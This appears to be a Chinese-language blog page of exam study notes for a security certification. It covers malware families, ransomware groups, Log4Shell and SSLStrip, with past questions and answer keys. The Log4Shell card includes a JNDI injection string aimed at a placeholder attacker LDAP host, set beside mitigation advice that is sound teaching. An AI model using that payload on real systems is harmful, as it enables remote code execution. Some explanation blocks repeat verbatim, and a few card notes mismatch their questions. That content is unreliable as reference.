Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Ebury、Azorult、Xtunnel 同題出現（防護-111-Q5）
- 屬「間諜軟體 / macOS RAT」類別
MegaSync
雲端工具（惡意濫用）
防護-111-Q28
📖 工具介紹
MEGA 雲端儲存的同步客戶端，常被攻擊者濫用作為資料外洩渠道（Living off the Cloud），繞過傳統 DLP 工具偵測。
⚙️ 使用情境 / 重要參數
惡意使用：竊取資料後上傳 MEGA 雲端，因使用合法雲端服務而繞過傳統 DLP
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- APT 工具鏈「資料外洩」階段工具
- 與 Cobalt Strike、Mimikatz 等並列（防護-111-Q28）
- Living off the Cloud 概念
ProLock
勒索軟體
防護-111-Q28
📖 工具介紹
以 PwndLocker 為前身的勒索軟體，透過釣魚郵件或 RDP 弱密碼入侵，常與其他 APT 工具搭配使用。
⚙️ 使用情境 / 重要參數
入侵管道：釣魚郵件、RDP 弱密碼暴力破解
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 RansomEXX 同屬勒索軟體
- 出現在 APT 工具鏈辨識題（防護-111-Q28）
REvil
勒索軟體組織（RaaS）
規劃-110規劃-Q37 防護-111-Q28
📖 工具介紹
REvil（Sodinokibi）是知名勒索軟體即服務（RaaS）組織，以高額贖金與雙重勒索（加密 + 威脅公開資料）聞名，2021 年發動 Kaseya 供應鏈攻擊。
⚙️ 使用情境 / 重要參數
特徵：雙重勒索（Double Extortion）、供應鏈攻擊、針對企業與政府
📝 代表考題（規劃-110規劃-Q37）
【題組5背景】A 公司為先進資通訊產品代工製造商，為台灣股票公開發行公司，接受美國知名大廠 B 公司委託代為生產 B 公司所研發與設計商品，為了保護 B 公司的產品設計的機密與安全，A 公司在與 B 公司的製造的合約中，有嚴格的保密條款要求不得以任何型式洩露 B 公司的任何有關他們設計的產品資訊。A 公司也向 B 公司宣稱所有 B 公司委託生產製造的生產線皆採用獨立的生產線及網路實體隔離不與 Internet 連接。
B 公司生產環境的廠區 24 小時全面監控 IPCam 將錄影資訊留存於 A 公司的 DVR 伺服器中，保存 6 個月之久，所有的管理帳中集中於 AAA 伺服器中，由專人管理，絕對安全可靠。
此外，為方便管理 B 公司產線共用 A 公司的製造執行系統 MES（Manufacturing Execution System），提供自動化的製造排程與即時的圖表式看板供產線管理人員及 B 公司相關人員即時監控實際的生產狀況，如有任何異常立即排除。
某日 A 公司員工發現收到附圖的電子郵件勒索信（信中顯示「Your network has been infected」，要求購買 General-Decryptor 解密），請問 A 公司是受到下列何組織/集團的加密勒索？
B 公司生產環境的廠區 24 小時全面監控 IPCam 將錄影資訊留存於 A 公司的 DVR 伺服器中，保存 6 個月之久，所有的管理帳中集中於 AAA 伺服器中，由專人管理，絕對安全可靠。
此外，為方便管理 B 公司產線共用 A 公司的製造執行系統 MES（Manufacturing Execution System），提供自動化的製造排程與即時的圖表式看板供產線管理人員及 B 公司相關人員即時監控實際的生產狀況，如有任何異常立即排除。
某日 A 公司員工發現收到附圖的電子郵件勒索信（信中顯示「Your network has been infected」，要求購買 General-Decryptor 解密），請問 A 公司是受到下列何組織/集團的加密勒索？
A.Revil
B.Conti
C.DoppelPaymer
D.無法確認是否真的是加密勒索 ✓
正確答案：
D
▶ 查看解析
【正確答案D】僅憑電子郵件中的勒索訊息內容（要求購買General-Decryptor），無法確定是哪個勒索軟體組織所為，因為：
(1) 多個勒索軟體組織都可能使用類似的勒索信格式。
(2) 攻擊者可能偽裝成知名組織。
(3) 資安鑑識需要分析惡意程式樣本、C2伺服器、加密方式等技術指標（IoC）才能確認歸因。
REvil、Conti、DoppelPaymer都是真實存在的勒索軟體組織，但僅憑勒索信文字無法確認身份。
(1) 多個勒索軟體組織都可能使用類似的勒索信格式。
(2) 攻擊者可能偽裝成知名組織。
(3) 資安鑑識需要分析惡意程式樣本、C2伺服器、加密方式等技術指標（IoC）才能確認歸因。
REvil、Conti、DoppelPaymer都是真實存在的勒索軟體組織，但僅憑勒索信文字無法確認身份。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Conti、DoppelPaymer 並列在勒索軟體組織辨識題
- 考古題考點：「僅憑勒索信文字無法確認是哪個組織」→ 正確答案是「無法確認」
RansomEXX
勒索軟體
防護-111-Q28
📖 工具介紹
針對 Linux 與 Windows 的勒索軟體，常攻擊政府機構。ProLock 以 PwndLocker 為前身，透過釣魚郵件或 RDP 弱密碼入侵。
⚙️ 使用情境 / 重要參數
RansomEXX：Linux/Windows 雙平台、針對政府機構 ProLock：透過釣魚郵件或 RDP 弱密碼入侵
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Cobalt Strike、Mimikatz、ADFind、MegaSync 等工具同題出現（防護-111-Q28）
- APT 攻擊工具鏈辨識題
Xtunnel
惡意軟體（APT 隧道工具）
防護-111-Q5
📖 工具介紹
APT 組織（Fancy Bear / APT28）使用的網路隧道工具，在受感染網路中建立隱密的加密通訊通道連接 C2 伺服器。
⚙️ 使用情境 / 重要參數
特徵：建立加密隧道、持久化 C2 連線、資料外洩管道
📝 代表考題（防護-111-Q5）
請問下列何項惡意程式具有 SSH 截持的能力？
A.Ebury ✓
B.Azorult
C.MacSpy
D.Xtunnel
正確答案：
A
▶ 查看解析
【正確答案：A】
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Ebury、Azorult、MacSpy 四者並列為同一題的四個選項（防護-111-Q5）
- 問題為「哪些是間諜軟體」
🚨 重大零日漏洞
Log4Shell / Apache Log4j
重大零日漏洞（CVE-2021-44228，CVSS 10.0）
防護-111-Q33 防護-111-Q34 防護-111-Q35 防護-111-Q36 防護-111-Q37 防護-111-Q38
📖 工具介紹
Apache Log4j 2.x 的重大遠端代碼執行漏洞，CVSS 評分 10.0（最高），2021 年影響全球數百萬系統。
⚙️ 使用情境 / 重要參數
觸發機制：JNDI Lookup 注入（攻擊者在日誌輸入中植入 ${jndi:ldap://攻擊者IP}）
修補方式：
✔ 升級至 Log4j 2.17.1+（Java 8）
✔ 設定 log4j2.formatMsgNoLookups=true
✔ 刪除 JndiLookup.class
✘ 僅更新防火牆規則（不足）
📝 代表考題（防護-111-Q33）
【題組 4】Apache Log4j 是一套使用非常廣泛的開放源碼的工具，方便程式設計人員在程式中加入 log function，並能以多種方式將 Log 輸出到不同標的，是此類開源工具中，最受系統開發者喜愛的工具之一。只是在 2021 年底 Apache Log4j 軟體，出現了被稱為 10 年來核彈級的一連串重大漏洞，包含 CVE-2021-44228、CVE-2021-45046、CVE-2021-45105，請問關於這三個重大的漏洞，下列敘述何者「不」正確？
A.上述的漏洞也另稱為 Log4Shell
B.這些漏洞的影響範圍主要為 Log4j 2.x 版本
C.上述三個漏洞都可以使駭客進行 RCE（Remote Code Execution）攻擊 ✓
D.Log4j 2.17（含）以上的版本可以有效修補上述漏洞
正確答案：
C
▶ 查看解析
【正確答案：C】
三個漏洞的嚴重性不同：
- CVE-2021-44228（Log4Shell）：CVSS 10.0，允許遠端程式碼執行（RCE）
- CVE-2021-45046：最初評估為低危，後更新為 CVSS 9.0，可達成 RCE（但在特定配置下）
- CVE-2021-45105：CVSS 7.5，為阻斷服務（DoS）漏洞，造成無限遞迴（Infinite Loop），並非 RCE 漏洞
因此「三個漏洞都可以使駭客進行 RCE 攻擊」的描述不正確，CVE-2021-45105 是 DoS 而非 RCE。
【選項A正確】Log4Shell 是這系列漏洞（特別是 CVE-2021-44228）的別稱，廣泛使用。
【選項B正確】這些漏洞影響的是 Log4j 2.x 版本，Log4j 1.x 不受影響（但有其他安全問題）。
【選項D正確】Log4j 2.17.0（Java 8）及以上版本修補了上述所有三個漏洞（不同 Java 版本對應不同 2.17.x 修補版本）。
三個漏洞的嚴重性不同：
- CVE-2021-44228（Log4Shell）：CVSS 10.0，允許遠端程式碼執行（RCE）
- CVE-2021-45046：最初評估為低危，後更新為 CVSS 9.0，可達成 RCE（但在特定配置下）
- CVE-2021-45105：CVSS 7.5，為阻斷服務（DoS）漏洞，造成無限遞迴（Infinite Loop），並非 RCE 漏洞
因此「三個漏洞都可以使駭客進行 RCE 攻擊」的描述不正確，CVE-2021-45105 是 DoS 而非 RCE。
【選項A正確】Log4Shell 是這系列漏洞（特別是 CVE-2021-44228）的別稱，廣泛使用。
【選項B正確】這些漏洞影響的是 Log4j 2.x 版本，Log4j 1.x 不受影響（但有其他安全問題）。
【選項D正確】Log4j 2.17.0（Java 8）及以上版本修補了上述所有三個漏洞（不同 Java 版本對應不同 2.17.x 修補版本）。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- JNDI Lookup 是觸發機制（必考）
- 正確 vs 不正確修補方式辨識題
- 屬 OWASP A06（Vulnerable and Outdated Components）
- Spring Boot 等大量框架使用 Log4j，影響極廣
⚡ 其他攻擊工具
SSLStrip
中間人攻擊工具（HTTP 降級）
防護-113-2-Q32
📖 工具介紹
SSL 降級攻擊工具，將 HTTPS 連線強制降為 HTTP，使攻擊者可以明文側錄傳輸中的資料。
⚙️ 使用情境 / 重要參數
攻擊原理：攔截 HTTP → HTTPS 的 301/302 重導向，讓受害者以 HTTP 與攻擊者通訊 防禦機制： HSTS（HTTP Strict Transport Security） HSTS Preloading（預載入清單）
📝 代表考題（防護-113-2-Q32）
在進行網站檢查時，發現其未設定 HTTP Strict Transport Security（HSTS）標頭，請問下列敘述那些較為適切？（複選）
A.可能遭受中間人攻擊（Man-in-the-Middle，MITM） ✓
B.可能遭受 SSLStrip 攻擊 ✓
C.可於網站伺服器中停用 Port 80 的服務來修補這問題
D.可於網站伺服器中停用 Port 443 的服務來修補這問題
正確答案：
A,B
▶ 查看解析
【正確答案：A、B】HSTS（HTTP Strict Transport Security）標頭強制瀏覽器只能透過HTTPS連接網站，防止HTTP降級攻擊。若未設定HSTS：選項A：攻擊者可在使用者與伺服器之間進行MITM攻擊，攔截並降級加密通訊，正確。選項B：SSLStrip攻擊是將HTTPS連線降級為HTTP的MITM攻擊，HSTS可防止此類攻擊，未設定HSTS則易受SSLStrip攻擊，正確。選項C錯誤：停用Port 80（HTTP）不是修補HSTS未設定的方法，且直接停用Port 80可能影響服務，正確做法是設定HSTS標頭並將HTTP重定向至HTTPS。選項D錯誤：停用Port 443（HTTPS）反而使網站無法使用HTTPS，更不安全。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- HSTS 是防禦 SSLStrip 的關鍵機制（考古題考點）
- 出現在「哪些機制可防禦 HTTP 降級攻擊」辨識題
沒有留言:
張貼留言